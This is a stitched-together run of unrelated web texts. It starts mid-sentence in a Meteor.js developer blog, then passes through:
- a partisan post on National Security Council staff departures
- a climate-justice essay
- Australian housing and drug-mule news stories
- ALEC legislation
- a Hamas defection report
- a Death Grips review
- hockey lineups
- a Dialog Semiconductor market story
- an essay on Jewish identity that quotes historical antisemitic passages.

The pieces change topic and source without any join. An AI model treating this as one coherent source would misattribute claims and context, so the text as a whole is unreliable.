and this is it. Let me write this again: THIS IS IT.
websockets out of the box
Remember RoR stack I mentioned at the beginning? With meteorjs it’s just meteorjs. There’s no need to setup external services, frontend frameworks or websocket libraries. Meteor has it all.
Further impression
After building a prototype and all the 'wow'! I decided to build the entire app in this platform. And there come more wows:
Easy validation on client and server
The only thing I wasn’t quite comfortable with, using a meteorjs at the beginning was lack of database schema. Solution for that are two amazing packages meteor simple schema and meteor autoform. Simple schema adds schema, validations, default values and field descriptions do your database. Autoform incorporates super easy form generation with action callbacks, field dependencies, and works with bootstrap3.
I love using SaaS instead of css and jade/slim instead of html. I also usually connect my apps with mandrill and amazon S3. Those things aren’t natively supported by meteorjs, but there is a meteor package system: atmospherejs.com where you could easily find them.
So if you use external tools/services in your projects, you will most probably be able to easily add them using atmosphere.
There is always a "but"
Among all these possibilities and amazing features that meteorjs gives you, there are two things to complain about:
In development mode Meteor refreshes the website whenever you change something in your code. When the project is small, it takes milliseconds, but growth of codebase creates bottleneck. For example, when I change anything in my current project which is executed on the client and the server, page reload takes more than 5 seconds.
Automated tests
Velocity - meteor official test runner is very young and that is why there is not much information on how to use it. Probably this will change soon with the release of meteortesting book, but at the time of writing - testing was pain in the neck.
Next - production environment
Apparently the established policy bureaucracy in Washington is getting the shivers at The Donald's approach.
The Guardian reports that many career staffers of the National Security Council are quitting their jobs and looking for other work, believing they have no future under Gen. Michael Flynn's tenure:
The White House is struggling to prevent a crippling exodus of foreign policy staffers eager to leave before the arrival of the Trump administration, according to current and former officials. The top level officials in the National Security Council (NSC) are political appointees who have to submit resignations and leave in a normal transition. The rest of the 400 NSC staff are career civil servants on secondment from other departments. An unusual number of these more junior officials are now looking to depart.
In a related story, democrats in congress are trying to protect establishment bureaucrats in the US State Department from getting canned by Trump. They sent a letter to Secretary of State John Kerry asking that he not reveal names of state department officials who worked on foreign policies at odds with Trump's.
Although the mainstream media may be saying the sky is falling due to this departure of seasoned personnel, in reality, Trump's team neither wants nor needs these careerist hacks in their positions.
They have led US foreign policy down a disastrous road for decades. Let them retire to academia or think tanks, and be replaced by fresh people with a different understanding of what is in America's interest.
SSW TV was proud to sponsor and record 2015’s DDD event in Brisbane.
This video features Mads Torgersen, Program Manager at Microsoft, who talks about compilers, specifically Roslyn.
This is a fascinating talk and should be watched by any developer.
From the description:
Project “Roslyn” revamps C#’s fundamental compiler infrastructure, and challenges our concept of what a compiler is: an open, interactive, error tolerant language engine that underlies code understanding at all levels of the development experience. In this talk we’ll look at the big picture of Roslyn, use its open API to build an IDE feature live on stage, and sneak an early look at language features we’re contemplating building on it for the next version of C#.
Take the Poll
We marched against the recent attack on voting rights. We demanded justice in the face of Stand Your Ground laws and racial profiling. We marched to raise awareness on unemployment, poverty, gun violence, immigration, and gay rights. And we called for action on climate change.
Chances are, when you think about civil rights, environmental issues aren’t on the radar screen. But stop and think about it. Remember Hurricane Katrina?
The hurricane that leveled New Orleans showed that severe weather in low-income neighborhoods and communities of color is a matter of life and death. The images from the storm are hard to forget: bodies floating in water for days and thousands of people stranded without shelter, waiting for help that was too slow to come.
It’s not difficult to see how injustice and inequality played out during Hurricane Katrina. Thousands of people were subjected to needless loss, suffering, even death — just because they didn’t have the resources to prepare and escape the storm.
What’s harder to see is the imminent threat that severe weather — occurring with increased frequency and voracity — poses to our communities. We should never again witness the kind of devastation and preventable suffering we saw during Katrina. That’s why we have to add climate change to our retooled list of what the civil rights movement stands for.
Climate change isn’t just an environmental issue; it’s about keeping our communities safe. It’s a matter of justice. Because when it comes to disasters — from extreme temperatures to storms like Katrina — people of color are consistently hit first and worst.
African-Americans living in L.A. are more than twice as likely to die in a heat wave as other residents in the city, thanks to an abundance of pavement and lack of shade, cars, and air conditioning in neighborhoods with the fewest resources. Factor in a steady rise in temperature — last year was the hottest year on record in the U.S. — and we’re looking at an urgent problem.
Meanwhile, our communities are at the tip of the spear when it comes to pollution. Fumes from coal plants don’t just accelerate climate change — they cause asthma, heart disease and cancer, leading to 13,000 premature deaths a year. And people of color are once again most vulnerable; 68 percent of African-Americans live within 30 miles of a toxic coal plant. That might help explain why one out of six black kids suffers from asthma, compared with one in 10 nationwide.
But that’s not the only reason we should pay attention. Fighting global warming — the right way — will get us closer to achieving the dream Martin Luther King Jr. spoke about on that day in Washington 50 years ago.
The solutions to climate change won’t just make us safer and healthier — they are one of the best chances we’ve had in a long time to cultivate economic justice in our communities. Clean energy, green infrastructure, and sustainable industries are already creating jobs and opportunity. There’s a cleantech boom unfolding right now that is on par with the tech boom that made Silicon Valley. And this time, we don’t want to miss the boat.
If we do this right, we can make sure the steps we take to fight pollution also build pathways into the middle class for folks who have been locked out and left behind. These green jobs are real — 3.1 million Americans already have them. And because they pay more (13 percent above the median wage) while requiring less formal education, they are exactly what’s needed to eradicate poverty in our communities.
We have work to do to make sure more people of color have access to the opportunities created by responding to climate change. But if we are successful, we will help create a world where our kids can breathe clean air and drink clean water; where we’re safe and resilient in the face of storms; where more of us share in the nation’s prosperity.
This is Dr. King’s dream reborn. And fighting climate change helps get us there.
The Australian Prudential Regulation Authority has been attempting to put the brakes on prices since late 2014 when it started the process by capping the growth of investor loans. The response took a year to fully filter through the market and moderate prices. But this tempering in prices was reversed in 2016 when the Reserve Bank of Australia reduced interest rates causing the bubble to reinflate and prices to resume their climb upwards. Earlier this year APRA pulled out another macroprudential tool and moved to limit interest-only lending to 30 per cent of new residential loans. The response from the banks has been to push up interest rates on interest-only lending - which had the effect of partially a de-risking their loan books, taking some borrowers out of the market and increasing banks' margins on these types of loans. This, combined with pressure from APRA, the Reserve Bank and the Australian Securities and Investments Commission on the banks to improve lending standards, was all part of the push to allow the property bubble to deflate in an orderly way. Potentially the affordability challenges facing Sydney buyers within the detached housing sector are pushing more demand towards the medium to high density sector. Tim Lawless, CoreLogic
While all these measures seem to now be combining to show some signs of gaining traction, it is unlikely that the Reserve Bank will be caught out again and allow interest rates to drop - repeating its previous mistake. Indeed most economists see the next rate movement will be up - albeit not for a while. The effects of even small increases in rates are magnified when households are carrying higher burdens of debt. Meanwhile, the Sydney market has long been the one that most have focused on given its rate of growth (until the month of September) has been higher than the others followed closely by Melbourne. First-home buyers back
CoreLogic, which monitors house prices, noted that across the Sydney housing market, it was the detached housing sector that pulled the monthly and quarterly growth rates lower. 'While unit values are also appreciating at a slower rate, detached housing values were 0.3 per cent lower over the month of September and 0.2 per cent lower over the quarter while unit values recorded a subtle rise," it said on Monday when releasing its report on September price movements. For the Sydney housing market, concerns around unit oversupply is less evident compared with the Brisbane unit sector, or to a lesser extent with Melbourne. CoreLogic head of research Tim Lawless said: "Potentially the affordability challenges facing Sydney buyers within the detached housing sector are pushing more demand towards the medium to high density sector...." Another emerging feature of the market is the return of the first-home buyers.
First-home buyers are coming back into the market in Melbourne and Sydney. Credit:Pat Scala CoreLogic said that while investor demand may trend lower due to higher mortgage rates and tighter credit policies, first-home buyers are clearly increasing their presence across the housing market. Lawless said that based on housing finance commitments data, first-home buyer activity surged higher in NSW and Victoria as first-timer buyers took advantage of stamp duty concessions that went live on July 1. Between June and July, the number of first-home buyer commitments increased by 28 per cent across NSW and 11 per cent across Victoria. Over the medium term almost all experts agree that prices will continue to cool. But there is plenty of differing opinion on the extent and the time frame.
Updated
An Australian crime syndicate is duping the elderly and vulnerable into trafficking millions of dollars worth of the drug ice into Australia, an ABC investigation into the death of a Gold Coast grandfather in China has found.
Disability pensioner John Warwick, 64, was arrested at Guangzhou airport in July 2014, when nearly 1.9 kilograms of the drug methamphetamine, also known as ice, was discovered in his luggage.
Mr Warwick's family had no idea he had become caught up in the international drug trade and have kept his arrest a secret from even their closest friends until now.
"My dad had been arrested on suspicion of concealing 1899 grams of ice contained in a DVD player," his daughter Amanda Davis said.
"I said, 'No way, not my father. No way would he risk his life only to never see his kids and grandkids again. Not my dad.'
"It's like it was a horror movie that wouldn't stop."
Mr Warwick was the most unlikely of drug mules.
The 64-year-old had been on a disability pension for a decade since his deteriorating health forced him to leave his job as a finance manager at a car dealership.
Do you know more about this story? Email sean.r.dunlop@abc.net.au
He was barely mobile, going blind in one eye, had a bad heart, Type-2 diabetes and gout. He relied on his daughter and ex-wife Laurel Warwick for support.
"His leg was going black," she said.
"He used a wheely walker and sometimes a wheelchair.
"He couldn't walk very far without holding on to the wall or items of furniture."
All but confined to his Gold Coast home, Mr Warwick became hooked on replying to spam emails offering big money and adventure.
"He was set up with an internet scam," Ms Davis said.
"He was told the man he was dealing with was dying of cancer, and that he could have a business setting up importing and exporting.
Emails between Lee and John 14 May 2014 - LEE WANG
SUBJECT Re:LUST
"Dear brother, ... my friend from Africa want to meet you face to face ... He promised to buy a ticket to China for you and I don't want us to miss this business. I seriously need money and I know you do."
15 May 2014 - JOHN WARWICK
SUBJECT Re:LUST
"I would not be able to fly that far due to ill health, he could have a Skype video call with me ... I am willing to help him and you know how much money I put into trying to get our deal done."
15 May 2014 - LEE WANG
SUBJECT Re:LUST
"You should ignore what your doctor told you that you cannot fly far.."
"They were also trying to set up an arranged marriage with an African lady called Miss Elizabeth, which we knew nothing about.
"Apparently, if he was to marry her and bring her back to Australia to her boyfriend back in Sydney, he would be paid 10 per cent of her 32 million pounds, so he would be getting around $6 million.
"You just didn't expect dad to be so gullible but obviously that was the way they lured him in, lured him in for bait."
Emails from May last year show how Mr Warwick was lured to China by a person using the alias "Lee Wang".
Mr Warwick made two trips to China where he was befriended by a man who called himself Dioura Mensah and who claimed to be from Ghana.
On the first journey he was given a DVD player and package of clothes to bring back to Australia.
His family says he has since told them he checked the items for drugs.
Legal correspondence obtained by the ABC shows Mr Warwick alleged Dioura Mensah supplied him with another DVD player on his second trip.
"Dioura asked me to take a second DVD player back with me," he wrote.
"He bought a large black bag so I could put all my gear in it. The player was sealed in plastic as before, so I packed my clothes around it.
"I would not have gone to the airport and put my bags through customs if I knew I had drugs in them."
Consulate did not visit after health warning
Lawyer Dan Mori, who has helped the family through his organisation Australians Detained Abroad, said the scammers target people who are lonely or desperate.
"It was sort of the long con: they brought him over, they met him, and then at the very end said, 'Do you mind bringing this DVD player back?'" Mr Mori said.
"And he unsuspectingly did that and got caught."
Mr Warwick was held in a military police hospital in Guangzhou, where Australian consular officials visited him twice and his health deteriorated.
Why wasn't there somebody there to help him? Why didn't somebody do something? Amanda Davis
"Dad was in the hospital for two months," Ms Davis said.
"He was given iodine, which he is totally allergic to.
"He went the next six days without eating and that was on the 19th of August.
"I notified DFAT (Department of Foreign Affairs and Trade) to let them know that he wasn't well.
"They informed me that they would get someone to go and see him, and I don't know if anyone ever did see him."
The ABC understands no-one from the Australian consulate visited Mr Warwick again even though his lawyer and family had raised serious concerns about his health.
There are however limitations on the number of times consulate officials are permitted to visit their nationals in custody in China.
A spokesperson from DFAT said "it was of concern to the Consulate that Mr Warwick had serious health concerns".
"Consular staff visited him on two occasions. During the last visit he did not raise any particular health issues and he told consular officials he was responding well to treatment," the spokesperson said.
"The lawyer advised consular officials that the hospital prison had undertaken to supplement his diet given his earlier stated concerns with eating the hospital food.
"Unfortunately he passed away in the prison hospital on 2 September 2014."
According to a report from Chinese authorities, Mr Warwick died of sudden cardiac and respiratory arrest at Wujing Hospital, a Chinese police hospital, in Guangzhou.
His family has demanded to know why consular authorities did not check on his health in the 19 days after they warned DFAT about it.
"Why wasn't there somebody there to help him?" Ms Davis said.
"Why didn't somebody do something?"
Eleven Australians imprisoned on smuggling suspicions
Another 11 Australians are currently imprisoned in China on suspicion of smuggling drugs, a crime which carries the death penalty in that country.
Several of them are intellectually disabled or mentally ill and claim to have been duped by online scams.
Australian police sources refused to comment on individual cases in China but have told the ABC that scams like these are real.
The AFP has identified scores of people like Mr Warwick who have been targeted by a single Australian syndicate, based in Sydney, Melbourne and Adelaide, with its roots in west Africa.
The syndicate is tied to a global network trafficking the drug ice from Guangzhou, the ice capital of the world, in the luggage of gullible travellers.
The AFP is investigating the syndicate but has not looked into Mr Warwick's case, even though his family has handed them a file which contains valuable clues, including the phone number for an Australian pointman to the syndicate.
The family are breaking their silence to demand more action.
"These people need to be accountable for what they've done," Ms Davis said.
"These are lives, these are not numbers. These are fathers, these are brothers, these are uncles. They're grandfathers.
"They're not just a number... and I might save another number.
"My dad was not a drug smuggler, he was set up — and someone needs to be accountable for it.
"There is information there that the AFP as well as Chinese authorities need to be investigating.
"They've got names, they've got numbers.
"Find them! Do something with it, don't just sweep it under the rug."
In a statement, the AFP told 7.30 it has passed information from Mr Warwick's family to Chinese authorities.
Topics: law-crime-and-justice, international-law, crime, drug-offences, china, australia
The Broadband Deployment Act of 2003, which frees the telecom industry from oversight, resembled the ALEC Broadband and Telecommunications Deployment Act. The bill was introduced by Sen. Ted Kanavas (R) & soon-to-be-discredited Rep. Scott Jensen (R).
A Municipal Broadband bill from 2004 blocked municipalities from competing with corporate providers of broadband services, and resembles the ALEC Municipal Telecommunications Private Industry Safeguards Act. Co-sponsored by Sen. Kanavas (R) & Rep. Phil Montgomery (R), who was given an ALEC "legislator of the year" award in 2005.
The Video Competition Act, eliminating municipal cable franchises and freeing companies from their previously-negotiated contracts, looks like the ALEC Cable and Video Competition Act. It was co-sponsored in 2007 by Rep. Montgomery (R) & Sen. Jeff Plale (R) and passed the legislature, but the most anti-consumer provisions were vetoed by former Governor Jim Doyle (D).
A 2007 Telephone Deregulation Bill, ending public oversight and regulations in Wisconsin for telephone services, looks like the ALEC Advanced Voice Services Availability Act of 2007. It was co-sponsored by Rep. Montgomery & Rep. Plale.
For more on ALEC's agenda in Wisconsin, see CMD's in-depth report, "ALEC Exposed in Wisconsin: The Hijacking of a State."
Authorizing "Car Title Pledges" for Predatory Lenders
Consumer groups have opposed this type of lending not only because the high interest rates and short-term repayment period can trap consumers in a cycle of debt, but also because they risk losing their cars, which they often need to get to work. The bill also provides few consumer protections, for example failing to include a private right of action with strong remedies, and requiring that all claims be brought within one year. This provides little deterrence for predatory lenders, and because the budgets of regulatory agencies are limited, the state cannot adequately protect against abuses.
The Consumer Federation of America, USPIRG, and the Center for Responsible Lending sent a letter to ALEC opposing "car title pledges" in November 2005, enumerating many examples of predatory title lending, and also pointing out the distorting influence of campaign contributors from this sector of sound public policy. Bills like this have become law in Mississippi, Tennessee, and elsewhere. The ban on this type of predatory lending was also rolled back in Wisconsin after ALEC alumni Scott Walker became governor in 2011.
Have any of these bills been introduced or enacted in YOUR state?
The elite officer in Hamas’ military wing Izz a-din al-Qassam Brigades, who was not named, is the son of a Hamas judge from Khan Younis in the south of the Strip and was involved in training in the terror group’s cross-border tunnels, according to an Israeli Channel 2 report.
Some Palestinian reports indicated the officer told his family he was going for a hike and crossed the border into Israel, the TV report said. The Hamas officer is believed to have extensive information on the terror group’s underground network.
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Earlier this month, Israeli security forces said Hamas operatives can travel throughout the Gaza Strip entirely underground using the terror group’s extensive tunnel network.
Information about the tunnel system has come from the testimony of at least two low-level Hamas members picked up by Israeli troops in the last months, the Shin Bet security service says.
The terror organization’s tunnel network has become a focus of Israel’s security forces since the end of the 2014 Gaza war, known in Israel as Operation Protective Edge, when the underground system was used to devastating effect to attack Israeli troops near the border with Gaza.
Since assuming his position in early 2015, IDF Chief of Staff Gadi Eisenkot has repeatedly said the threat of the tunnels was at the top of his list of priorities.
The fear among security officials is that an attack tunnel, or “terror tunnel,” as they’ve become known in Israel, will be used to bring a Hamas terror cell into an Israeli community on the border with Gaza, where they can kill civilians or take them hostage.
The testimony of one 17-year-old Hamas operative yielded “high-value information about Hamas’s operations in the northern Gaza Strip, especially its attack tunnels,” the Shin Bet said.
In April and May, the IDF uncovered two “terror tunnels” that crossed into Israeli territory, the first such discoveries since the end of Operation Protective Edge in August 2014.
Much like the films of Gaspar Noé, Death Grips have maintained a wealthy stock of haters throughout their shockingly short lifespan. And much like Noé himself, Death Grips embrace the physical qualities of annihilation far more than their theoretical ones and, on more than one occasion, have built a new language of sensuality and pain by transforming fear into a spiritual enterprise. Ever since their falling out with Epic Records over the release of NO LOVE DEEP WEB, Stefan Burnett, Zach Hill, and Andy Morin have refined and transcended their vision by continuing to turbine their collective sound rather than filtering it via the PVC tubing of songwriting. Throughout all of the controversy, the tour cancellations, even the band cancellations, they have remained a project that has been invigoratingly free, consistently inspiring, and impossible to truly anticipate.
But something changed post-JENNYDEATHWHEN. As Death Grips have settled into their comfortable “broken-up” period, the question of what they’re aiming their energies and rebellion toward now is more prevalent than ever, and in lieu of a clear mission, the sonics have become uglier in order to make good. Bottomless Pit is a full assault from beginning to end, from the blackened strikes of “Giving Bad People Good Ideas,” to the petrified “Warping,” to the neo-metal march underpinning “Ring A Bell,” with “Eh” being the only real moment that chooses to glide rather than hammer itself ever further into the muck. Even when Death Grips diversifies the field of sound as on “Hot Head” or “Trash,” the effect is still cancer-like, as if the change from a sickle to a power drill makes a difference when trying to cut through the very air itself.
Contrary to these critiques however, to demand explicit purpose from a project so thoroughly bathed in nihilism would be hypocrisy, and even the act of following these three to the furthest ends of their own masturbatory slaughter is dazzling purely on its own merits. “BB Poison” bounces and pops in bubbles even as MC Ride’s lyrics become the fully instrumental fabric they had always threatened to be, and “Three Bedrooms In A Good Neighborhood” toes an exhilarating line between brutal simplicity and twisted construction, toying with tension and release on a slight but powerful level. Even with the full awareness that there is little on Bottomless Pit that hasn’t been done before by this band, there is a thriving passion at the heart of Death Grips, a restless need to burn the fuel that drives this project even in times when their larger purpose remains obscured.
Though it shrouds itself in chaos, Bottomless Pit is ultimately Death Grips’ most straightforward, morbid, and brutal report from the deep end yet. Like watching a great beast eat itself, there is little in the way of elegance or grand design to this music, yet it remains throttling nonetheless, as relentlessly blunt as it is overwhelmingly meaningless. It’s impossible to know if these three will go on making music together into the future, but who could even take their word now if they claimed to be finished? We’ve entered a purgatory with this band, a space where conflict seems to have come to an end, and yet still this group fights on, trading conceptual examination for all-out warfare, slamming themselves again and again and again at a brick wall, perhaps just to feel the blood start to tear out from their veins and mingle with the cum, sweat, and drool gathering underneath them somewhere farther down the pit. Does this hole truly never end? Are you really falling if there’s nowhere to land? Is there ever a reason to stop screaming?
“Dear Bottomless Pit,
I need you here to undo me. I wake up in a deep search for intent and belief in myself. But the day is intense. Driven with some euphoria…I’m thinking now, I’ve never been bored until this moment. And this moment is gone. Forever.”
Oshie, who sustained a concussion Oct. 28 against the Dallas Stars, skated again Thursday prior to the Blues facing the Predators. Oshie, who has one assist in eight games and has missed the past seven, skated for a fifth straight day without any setbacks and said in the morning he felt physically fit.
"I think so," Oshie said. "I've skated the last five, six days in a row now. I feel good out there. I've been riding the bike in here, I've been getting my workouts in.
"Whenever I do go it's probably going to take me a couple shifts. It's usually a period to kind of get your lungs going and get everything back in. I'm as ready as I will be."
Oshie needed medical clearance from team doctors before being activated from injured reserve and placed on the active roster.
"They need me to be 100-percent healthy," Oshie said of the doctors. "If I feel like I'm 100-percent healthy I'll try to be in there [Thursday].
"We're on the same page. That was a miserable first week that I had. If there's any chance that I'm at a higher risk of re-injuring my head or another concussion, I won't come back. But if I feel 100-percent ready and they feel 100 percent that I'm going to come back and not be at any higher risk than any other player, then I'll be back in."
Hitchcock was playing the cautious role earlier Thursday.
"He's been good for about three or four days but we haven't gotten approval from the medical people," Hitchcock said. "Until we get that, not playing. If we get a call in an hour or two hours or three hours after he has conversations with everybody connected, it's kind of out of our hands. If he gets a call, we'll put him in. If not, then we'll just keep going until somebody tells us. It's got to come from the doctors and the medical people before there's approval."
Oshie's return will come where he started the season, with a pair of familiar faces.
"With [David] Backes, right where they were before," Hitchcock said. "Backes and [Patrik] Berglund, the way we were the first two or three games at the start of the year, back to where we started the season, and let's just go from there."
The Predators (10-3-2, 22 points), who defeated the Blues (10-4-1, 21 points) 2-1 on Saturday at Scottrade Center on a third-period goal by James Neal, did not have a full team skate Thursday; only backup goalie Carter Hutton and defenseman Victor Bartley skated. It's become a routine for the Predators in recent games to not skate with a full team or at all on game days. The Predators did not skate at all here this past Saturday.
Here are the projected lineups:
PREDATORS
Filip Forsberg - Mike Ribeiro - James Neal
Matt Cullen - Derek Roy - Craig Smith
Olli Jokinen - Calle Jarnkrok - Gabriel Bourque
Eric Nystrom - Paul Gaustad - Taylor Beck
Roman Josi - Shea Weber
Mattias Ekholm - Ryan Ellis
Anton Volchenkov - Seth Jones
Pekka Rinne
Carter Hutton
Scratched: Victor Bartley
Injured: Mike Fisher (Achilles tendon), Viktor Stalberg (lower body), Colin Wilson (lower body)
BLUES
Patrik Berglund - David Backes - T.J. Oshie
Alexander Steen - Paul Stastny - Joakim Lindstrom
Jaden Schwartz - Jori Lehtera - Vladimir Tarasenko
Steve Ott - Maxim Lapierre - Ryan Reaves
Jay Bouwmeester - Alex Pietrangelo
Carl Gunnarsson - Kevin Shattenkirk
Barret Jackman - Ian Cole
Jake Allen
Brian Elliott
Scratched: Jordan Leopold, Chris Porter, Magnus Paajarvi
Injured: None
Status report: Reaves, who missed one game after being hit on the ankle with a shot at practice Monday, will replace Porter in the lineup Thursday. … The Blues assigned forward Dmitrij Jaskin to the Chicago Wolves of the American Hockey League. … Wilson injured his groin in St. Louis on Saturday and is day-to-day.
FILE PHOTO: Dialog semiconductor logo is pictured at a company building in Germering near Munich, Germany August 15, 2016. REUTERS/Michaela Rehle
Bankhaus Lampe reduced its rating on Dialog to “sell” from “hold” as it argued that Apple was working on its own battery-saving chip for the iPhone that could replace Dialog’s power management integrated circuits (PMIC) as early as 2019.
Apple accounted for more than 70 percent of Dialog’s 2016 sales, analysts estimate. The German company says it is the world’s top maker of power management chips used in smartphones with roughly 20 percent of the market.
Shares in Dialog fell as much as 36 percent on Tuesday to a seven-month low. They had more than doubled in the second half of 2016 on rising expectations for the iPhone 8 due out later in 2017.
Dialog said it saw no business reason for the share drop and that it remained comfortable with its financial outlook for “good revenue growth” in 2017, which would mark a recovery from a 12-percent decline last year.
“The company notes the level of visibility into the design cycle of its leading customers remains unchanged and the business relationships are in line with the normal course of business,” it said in a statement.
By 1340 GMT, the Dialog shares had pared losses and were 15 percent lower at 40.49 euros ($42.97).
Apple’s suppliers are in the spotlight after Imagination Technologies IMG.L last week revealed Apple’s plans to replace its graphics chips with parts it is developing in-house, sending shudders through Apple’s global supply chain.
Imagination’s stock plunged 70 percent.
Bankhaus Lampe cited unnamed industry sources as saying that Apple was setting up power management design centers both in Munich and California and said Apple already had around 80 engineers working on a power management chip of its own.
“In our view, there is strong evidence that Apple is developing its own PMIC and intends to replace the chip made by Dialog at least in part,” Bankhaus Lampe analyst Karsten Iltgen said, referring to power management chips.
Lampe’s Iltgen is a four-star rated analyst for the accuracy of his earnings estimates on Dialog and ranks sixth among 16 analysts covering the stock, according to Thomson Reuters data.
A source familiar with the matter confirmed that Apple was recruiting top Dialog engineers in Munich. “They are poaching like crazy,” the person said.
Apple declines to comment on matters involving its supplier relationships and did not respond to a request for comment for this story.
A trader with brokerage Exane, who said he had been in contact with Dialog management, said investors were overreacting to speculation that Dialog might lose Apple’s business.
He said Dialog has completed designs for chips that Apple plans to use in 2017 and 2018 iPhone models while it continues to discuss with Apple using its parts in 2019 phones.
The trader also said Apple would need to hire more than 1,000 engineers to completely replace the power management chips supplied by Dialog.
HIGHLY DEPENDENT
The downside of having Apple as a customer is that smaller suppliers can become dependent on its business due to the huge sales volumes generated by new iPhone contracts.
Dialog has made several attempts to diversify beyond Apple and other smartphone customers in the past few years.
In 2014, merger talks between Dialog and Austrian sensor chip maker Ams AG (AMS.S) fell apart after they failed to come to terms. Its plans to buy U.S.-based Atmel in 2015 were derailed after Microchip (MCHP.O) swooped in with a higher bid.
Apple has outsourced production of its hardware products to an extended network of suppliers, large and small, while it has moved over the past decade to design its own central processors and added functions like fingerprint recognition since then.
Over the past dozen years, Apple suppliers CSR, PortalPlayer, Sigmatel and Wolfson have been replaced, pushing them eventually to merge with more diversified players.
But Apple still relies on key suppliers to develop innovations ranging from image and motion sensors to power management.
Other chip suppliers for the current iPhone 7 include, but are not limited to, Cirrus Logic (CRUS.O), NXP (NXPI.O), Qualcomm (QCOM.O), Skyworks (SWKS.O), STMicroelectronics (STM.PA), according to an analysis by TechInsights in September.
"No. 1, I'm not a masochist, and if I was dropping in the polls where I saw I wasn't going to win, why would I continue?" Trump said in an October NBC News interview depicted in the ad.
"Resign the nomination. Let the RNC replace you so we can beat Hillary."
The 30-second ads are scheduled to run in areas of Florida, Virginia, Ohio and Michigan that had leaned Republican but appear to be favoring Hillary Clinton right now, Regina Thomson, a Colorado Republican activist and leader of Free the Delegates, told Politico.
Trump spokesman Jason Miller dismissed the campaign as the last remnants of the failed NeverTrump movement that was squashed at the party's convention in July.
"The 'Never Trump’ movement died at the Republican Convention after it was revealed that they were nothing more than press releases and Facebook posts," Miller told Politico. "The reality is, Republicans and non-Republican voters alike are rapidly uniting behind Donald Trump's candidacy as people look for a real change agent who isn't afraid to break up the rigged system.
"This is reflected by the many national and battleground state polls that now show Mr. Trump tied or leading, not to mention the tremendous crowds that attend every event."
A recently published editorial on ComicBook.com identified actress Gal Gadot, known for her lead role in ‘Wonder Woman’, as a person of color. As luck would have it, the author approvingly cited a piece I wrote in January to make his case. Yet the “anti-racist” left, whose relationship with the Jewish community can best be described as “troubled”, could not help but demonstrate its glaring blind spot where Jewish origins and Jewish suffering are concerned. This is something the broader Jewish community has known about for years.
Correspondingly, the reactions on Twitter were what I expected: a melange of curiosity and enriched perspective offset by heaps of seething outrage animated either by ignorance or deep-seated anti-Semitism — usually both. Jews are a historically persecuted and displaced Middle Eastern ethnicity indigenous to Israel, as well as one of the oldest and most continuous victims of European colonialism. However, the “anti-racist” left is generally hostile to Jews (particularly Ashkenazim aka Jews who wound up in Central and Eastern Europe as a result of colonialism) identifying as Middle Eastern, as a people of color, or even as a minority at all. Most of the tweets that I read only seemed to prove my point. Take this gem for instance….
That said, there were some meatier challenges to be found, which I will address below. Ultimately, I stand by everything that I said in my previous article, now with even more confidence and certainty than I had prior to reading these responses.
First, I will turn my attention towards SI Rosenbaum, whose string of tweets in response to my arguments were shared widely. To begin, she correctly alleges that the distinction between “whites” and “POC” is “not a dichotomy. It’s not all about melanin, though that’s part of it; it’s also about personal history and heritage. It’s about where your ancestors were when those race categories got handed down by the Inquisition in 1492”.
Now let us take a look at the history and heritage of Ashkenazi Jews. An indigenous people of the Middle East, Ashkenazi Jews were driven out of their homeland by European (and later Arab) colonists and taken as slaves to Europe where they were consistently regarded as savages, periodically massacred, and excluded from society on the grounds that they are a foreign, non-Christian, and non-European (or in the words of our European oppressors: Oriental/Asiatic) presence on European soil. The above-mentioned race categories created during the Inquisition were really a direct response to the possibility that the Spanish crown hadn’t successfully expelled ALL of the Jews and Moors in their midst. As such, an edict called “limpieza de sangre” (“purity of blood”) was made law, wherein anyone of non-European descent (i.e. Jewish or Arab-Moor) was given the ultimatum of conversion to Christianity or death. And even those Jews who did convert were still viewed with suspicion, and treated as second class. The rest of Europe adopted very similar laws, and many exiled Sephardim wound up migrating East, where they joined their Ashkenazi co-ethnics.
The acknowledgement that Ashkenazim are non-European/non-white, which really dates all the way back to the pre-Christian era, continued to pervade Western society into the Enlightenment era and beyond. A few choice quotes from some of the more notable European philosophers (as well as some who are less notable) should prove instructive….
“the Hebrews, a very recent people…an Arab horde”. ~ Voltaire, referring to the Jews in op. cit., “Genèse”.
“The Palestinians living among us have, for the most part, earned a not-unfounded reputation for being cheaters, because of their spirit of usury since their exile. Certainly, it seems strange to conceive of a nation of cheaters; but it is just as odd to think of a nation of merchants, the great majority of whom, bound by an ancient superstition that is recognized by the State they live in, seek no civil dignity and try to make up for this loss by the advantage of duping the people among whom they find refuge, and even one another. The situation could not be otherwise, given a whole nation of merchants, as non-productive members of society (for example, the Jews in Poland). So their constitution, which is sanctioned by ancient precepts and even by the people among whom they live (since we have certain sacred writings in common with them), cannot consistently be abolished — even though the supreme principle of their morality in trading with us is “Let the buyer beware.” I shall not engage in the futile undertaking of lecturing to these people, in terms of morality, about cheating and honesty. Instead, I shall present my conjectures about the origin of this peculiar constitution (the constitution, namely, of a nation of merchants).” ~ Immanuel Kant, from “Anthropology from the Pragmatic Viewpoint”, quoted by Misrahi, p. 149.
“The Jewish people is and remains in Europe an Asiatic people alien to our part of the world” ~ Johann Gottfried Herder, “Behkerung der Juden”, Adrastea 4 (1802), p. 145.
“cowardly and degraded Asiatics”. ~ Baron d’Holbach, referring to the Jews, as is quoted in Leon Poliakov, “De l’antisionisme à l’antisémitisme”, Paris: Calmann-Levy, 1969, p. 164.
“The Jew is the enemy of the human race. This race must be sent back to Asia or exterminated”. ~ Pierre Joseph Proudhon, “Selected Writings of Pierre-Joseph Proudhon”, ed. Stewart Edwards, trans. Elizabeth Fraser (New York: Anchor Books, 1969), p. 228.
“In almost all parts of Europe the laws and the entire constitution of the state seek to prevent as much as possible any increase in the number of those unfortunate Asiatic refugees, the Jews. Should these hardworking and good citizens be less useful to the state because they come from Asia, because they differ from others in their beards, circumcision and the particular way of worshiping the supreme being they have inherited from their oldest ancestors?” ~ Christian Wilhelm Dohm, “On the Civic Improvement of the Jews”, 1781.
